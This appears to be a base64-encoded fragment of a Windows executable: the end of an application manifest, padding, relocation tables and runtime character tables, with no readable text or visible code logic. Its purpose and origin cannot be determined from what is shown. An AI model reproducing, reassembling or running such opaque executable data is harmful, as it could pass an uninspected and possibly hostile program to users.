Pg0KICAgIDwvc2VjdXJpdHk+DQogIDwvdHJ1c3RJbmZvPg0KPC9hc3NlbWJseT5QQVBBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQUQAEAAA9AAAACcwTjBVMHwwgDCEMIgw7TD8MA0xSjF0MZQxyTECMgkyZjJ2MpcyVjNkMxY0JzRDNFc0pzTzNCY1NzViNXA1fjWaNak1zDVONlw2bDZ6Noo2yDbWNuY2IDcnN2Q3kjegN9438DcWOFM4WDhoOHY4sDi1OMU40zjkOBc5HDksOTo5yTnOOdw54TnvOf05NDpDOkg6UDpZOtY67DoaO2I7eDuOO6Y7wjvNOxg8dDzRPCc9OD1MPVw91j3nPTM+TT5nPnE+fz6KPo8+oT6oPr4+1T7gPvI++T42P0c/lj+mP7k/wz/OP9k/3j/wP/c/ACAAAIgAAAANMCQwLzBBMEgwgTCTMKsw1jAIMtQyWjOMM+Ez+zMdNE40YDRyNLE02TVgNo02pDbCNuI2DzceNzY3YTeSN7U3lDi9OM843jjwOAM5RDlXOWM5djmCOZU51jleOuY6TzuAO6k76DtBPE48VjxlPGs8Ez4ePiQ+hj+VP6s/sz8AAAAwAABEAAAAcjN6M6YztTPmM+4zVjRkNJ40pjQ2NUY1eTWBNbM10TUHOzI9OD0+PUQ9Sj1QPVY9TT6eP6Y/uz/GPwAAAEAAAFABAAC+MBYypDKpMrMy5zL/MgczDTNTM1kzdDOkM8Az2DMrNFg0xjTMNNI02DTeNOQ06zTyNPk0ADUHNQ41FTUdNSU1LTU5NUI1RzVNNVc1YDVrNXc1fDWMNZE1lzWdNbM1ujXDNdU1JDYqNjs2cDb6Ni83SDdPN1c3XDdgN2Q3jTezN9E32DfcN+A35DfoN+w38Df0Nz44RDhIOEw4UDi2OME43DjjOOg47DjwOBE5OzltOXQ5eDl8OYA5hDmIOYw5kDnaOeA55DnoOew5PjpQOiI7LDs5O1Q7WztzO587uzveO/E7Sjx/PJg8nzynPKw8sDy0PN08Az0hPSg9LD0wPTQ9OD08PUA9RD2OPZQ9mD2cPaA9Bj4RPiw+Mz44Pjw+QD5hPos+vT7EPsg+zD7QPtQ+2D7cPuA+Kj8wPzQ/OD88P4g/qD+tPwAAAFAAAAQBAACOMJswpTC4MOcwGjEgMSgxNTFJMbkx9jENMoAzkTPLM9gz4jPwM/kzAzQ3NEI0TDRlNG80gjSmNN00EjUlNZU1sjX6NWY2hTb6NgY3GTcrN0Y3TjdWN203hjeiN6s3sTe6N783zjf1Nx44LzhSOBc5QTmMOdg5JzpvOtU67Dr9Ojk7ZzttO3g7hDuZO6A7tDu7O+I76DvzO/87FDwbPC88NjxOPFo8YDxsPHs8gTyKPJY8pDyqPLY8vDzJPNM82jzyPAE9CD0VPTg9TT1zPbM9uT3jPek9BT4dPkM+vT7gPuo+Ij8qP3Y/hj+MP5g/nj+uP7Q/yT/XP+I/6T8AYAAAgAAAAAQwCTARMBcwHjAkMCswMTA5MEAwRTBNMFYwYjBnMGwwcjB2MHwwgTCHMIwwmzCxMLwwwTDMMNEw3DDhMO4w/DACMQ8xLzE1MVExlDEaMiwyNTI+MkwybjN1M4Q0azV6NZU1ujj9OYQ7tDvaO8I98D/0P/g//D8AAABwAACUAAAAADAEMAgwDDAcMBgxMDFUMWQ0qDUrN1s3gTdpOZA7lDuYO5w7oDukO6g7rDvKO9M73zsWPB88KzxkPG08eTydPKY80zzuPPQ8/TwEPSY9hT2NPaA9qz2wPcA9yj3RPdw95T37PQY+ID4sPjQ+RD5ZPpk+pj7QPtU+4D7lPgM/jz+cP6U/uT/aP+A/AAAAgAAA5AAAABIwaTBxMLEwuzDjMPwwPTFtMX8x0THXMfsxGTI7MkYyVTKNMpcy5zLyMvwyDTMYM8s03DTkNOo07zT1NGE1ZzV9NYg1nzWrNbg1vzX2NUU2WDaKNqM2sja3Ntg23TYRNxY3JDcsNzg3PzdIN1s3ZTdxN3o3gjeMN5I3mDe6NzM4OThSOFg4ITk+OZI5bDp0Oow6pDr7OhU7ODtFO1E7WTthO207kTuZO6Q7sTu4O8I77Dv6OwA8IzwqPEM8VzxdPGY8eTydPDI9Uj1gPWU9qD+2P7w/1j/bP+o/8z8AkAAAgAAAAAAwCzAdMDAwOzBBMEcwTDBVMHIweDCDMIgwkDCWMKAwpzC7MMIwyDDWMN0w4jDrMPgw/jAYMSkxLzFAMaUxQTVNNYA1pjXgNSU2+DcDOAs4Bjm7OS48QDyQPJY8tjztPP48WT1lPXE+pj72PhU/aj+CP7M/vj8AAACgAAB8AAAAODBRMHowfzCWMO8w/DAuMWExkjGkMbExvTHHMc8x2jEKMjoy0TKBM6QzIjTzNHs1hTWdNaQ1rjW2NcM1yjX6NZM2CDcVOSc5OTlbOW05fzmROaM5tTnHObs7EjwfPDg8VjyUPMM8fD3hPZU+tT6lP84/AAAAsAAAoAAAACcwtTGVMl4zjzOlM+YzBTSiNNY0BTWCNek1FjYpNi82STZYNmU2cTaBNog2lzajNrA21DbmNvQ2CTcTNzk3bDd7N4Q3qDfXNxg4OThbOKQ47TieObg5wzloOtY6mDv0Owk8TzxVPGE8tjzpPCE9jD2SPeM96T0NPjA+ZD5qPnY+vT7lPhw/ND8/P2M/bD9zP3w/vD/BP+k/AMAAAMgAAAAOMDMwRjBeMHAwlDBYMV0xbzGNMaExpzEQMlwyZzKSMp0yqzKwMrUyujLKMvkyBzNOM1MzmDOdM6QzqTOwM7UzJDQtNDM0vTTMNNs05DT5NCk1CDZtNnk28TYLNxQ3NjduN7E3tzffN/w3KDhhOG44TTlcOR86LzpKOmo6wDrROgw7KDuDO447vDvKO9k75zvvO/w7GjwkPC08ODxNPFQ8WjxwPIs8zjzvPPs8Ij0vPTQ9Qj0dPkA+Sz5uPr0+AAAA0AAAmAAAAAcwDjCSMbAxRTRMNHM0gTSHNJc0nDS0NLo0yTTPNN405DTyNPs0CjUPNRk1JzVnNYQ1oTXgNec17TUdNig2SzYPNxw3oDemN6s3sTe4N8o3VzjTOP84JzleOWg5gDq9Osc63zoIOzw7azsWPSY9hT2xPc096T0BPhg+NT5EPlM+Yz53PpQ+zj7lPh0/kD8AAADgAAAwAAAAjDDgMJkxsTG2MR80PzSJNJY0qTRxNZc2kDfZN3U59DoMPjM+QD4AAADwAABIAAAAPjCUMfsxOzJ7Mqoy4jIKMzozajPLMws0QjRdNGc0cTR+NIM0iTSNNJI0mDSlNKo0tDTBNMU0yjTUNN406TTtNAAAAQDwAAAAjDGQMZQxoDGkMagxrDG4Mbwx/DEAMggyDDIQMhQyGDJIOUw5UDlUOVg5XDlgOWQ5aDlsOXA5dDl4OXw5gDmEOYg5jDmQOZQ5mDmcOaA5pDmoOaw5sDm0Obg5vDnAOcQ5yDnMOdA51DnYOdw54DnkOeg57DnwOfQ5+Dn8OQA6BDoIOgw6EDoUOhg6HDogOiQ6KDosOjA6NDo4Ojw6QDpEOkg6TDpQOlQ6WDpcOmA6ZDpoOmw6cDp0Ong6fDqAOoQ6iDqMOpA6lDqYOpw6oDqkOqg6rDqwOrQ6uDq8OsA6xDrMOtA61DoAAAAQAQAgAAAAsDu0O7g7vDvAO8Q7yDvMO9A71DvYOwAAACABAGQAAADQPNQ82DzcPCw9MD2oPaw9vD3APcg94D3wPfQ9BD4IPgw+FD4sPjA+SD5YPlw+cD50PoQ+iD6YPpw+oD6oPsA+PD9AP2A/gD+IP5A/mD+cP6Q/uD/AP9Q/8D8AAAAwAQC8AAAAEDAwMFAwXDB4MIQwoDC8MMAw4DD8MAAxIDFAMWAxgDGgMcAx3DHgMfwxADIcMiAyQDJcMmAygDKgMsAy4DLsMggzKDNIM2QzaDNwM4wznDOkM7Az0DPcM/wzCDQoNDQ0VDRcNGg0iDSUNLQ0wDTgNOw0DDUUNRw1JDUwNVA1XDV8NYQ1kDXINdA11DXsNfA1ADYkNjA2ODZoNnA2dDaMNpA2rDawNrg2wDbINsw21DboNgAAAFABAPwAAAAAMAQwoDGwMbQx0DEYNhA3eDeIN5g3qDe4N9w36DfsN/A39Df4NwA4BDgQOJA5lDmYOaA5pDmoOaw5sDm0Obg5vDnAOcQ5yDnMOdA51DnYOdw54DnkOeg57DnwOfQ5+Dn8OQA6BDoIOgw6EDoUOhg6HDogOiQ6KDosOjA6NDo4Ojw6QDpEOkg6WDpgOmQ6aDpsOnA6dDp4Onw6gDqEOpA6oDqoOiA9JD0oPSw9MD00PTg9PD1APUQ9SD1MPVQ9XD1kPWw9dD18PYQ9jD2UPZw9pD2sPbQ9vD3EPcw91D3cPeQ97D30Pfw9BD6wPrQ+YD+AP4Q/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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